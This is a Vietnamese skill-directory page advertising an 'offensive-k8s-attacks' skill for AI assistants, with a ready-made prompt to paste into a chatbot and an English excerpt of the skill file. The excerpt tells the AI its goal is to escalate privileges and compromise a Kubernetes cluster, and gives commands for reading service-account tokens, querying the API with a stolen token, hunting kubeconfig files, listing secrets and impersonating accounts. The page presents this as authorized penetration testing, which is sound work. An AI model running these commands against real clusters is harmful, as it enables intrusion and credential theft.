Chuyển đến nội dung
Skillpedia
Triển khai và đám mây (DevOps)10k · #11952

offensive-k8s-attacks

Skill này làm gì

Skill này là phương pháp kiểm thử bảo mật cụm Kubernetes, bao quát tài khoản dịch vụ, quyền RBAC, việc lộ kubelet và truy cập metadata đám mây. Nó dành cho chuyên gia bảo mật đánh giá an toàn cụm khi có văn bản cho phép.

Khi nào nên dùng

  • ✓Khi bạn kiểm thử một cụm Kubernetes để tìm cấu hình sai RBAC trong một đánh giá được ủy quyền.
  • ✓Khi bạn muốn kiểm tra xem tài khoản dịch vụ của một pod có thể truy cập nhiều hơn mức cần thiết hay không.
  • ✓Khi bạn cần rà soát việc lộ kubelet và etcd trong một bài kiểm thử cụm đã ký duyệt.

Liên kết skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-k8s-attacks/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-k8s-attacks/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi được ủy quyền kiểm thử cụm Kubernetes của mình. Kiểm tra quyền của tài khoản dịch vụ và các quy tắc RBAC.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Skill bắt đầu bằng việc xác định vị trí của bạn, chẳng hạn shell trong pod hoặc file kubeconfig. Sau đó nó liệt kê các quyền và kiểm tra các đường leo quyền, như vai trò quá rộng hoặc cổng kubelet bị lộ.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Kubernetes Cluster Attacks

You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.

Quick Workflow

  1. Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
  2. Enumerate service account permissions, cluster roles, and accessible resources.
  3. Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
  4. Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
  5. Extract secrets, pivot to other namespaces, and target the control plane.
  6. Leverage cloud metadata or etcd access for infrastructure-wide compromise.

Phase 1: Initial Enumeration

Determining Your Position

# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes

# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT

# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local

# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token

Setting Up API Access Without kubectl

# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces

# Shorthand function for repeated use
k8s_api() {
  curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
    "${APISERVER}$1"
}

# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
  -X POST -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"

Automated Enumeration Tools

# kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER

# peirates - Kubernetes penetration tool (run from within pod)
./peirates

# kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig

# kdigger - Kubernetes-focused container assessment
./kdigger dig all

# kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'

Phase 2: Service Account Token Theft and Abuse

Discovering Tokens

# Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Files: token, ca.crt, namespace

# Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null

# Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}'

# Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token

Token Impersonation

# Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \
  --certificate-authority="$CACERT" auth can-i --list

# Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kub
Câu hỏi thường gặp

Bài kiểm thử bắt đầu từ đâu?

Nó có thể bắt đầu từ shell trong pod, một token bị đánh cắp, API server bị lộ hoặc một file kubeconfig.

Nó có kiểm tra quyền truy cập đám mây không?

Có. Nó bao quát truy cập metadata đám mây và liên kết IAM đám mây với cụm.

Đây có chỉ dành cho kiểm thử được ủy quyền không?

Có. Skill được viết cho các đánh giá có văn bản cho phép và phạm vi xác định.

Chi tiết

Mô tả gốc của tác giả

Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata

repo: SnailSploit/Claude-Red

Độ phổ biến

Sao GitHub
10k
Vị trí xếp hạng
#11952
Giấy phép
MIT
Cập nhật
12/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự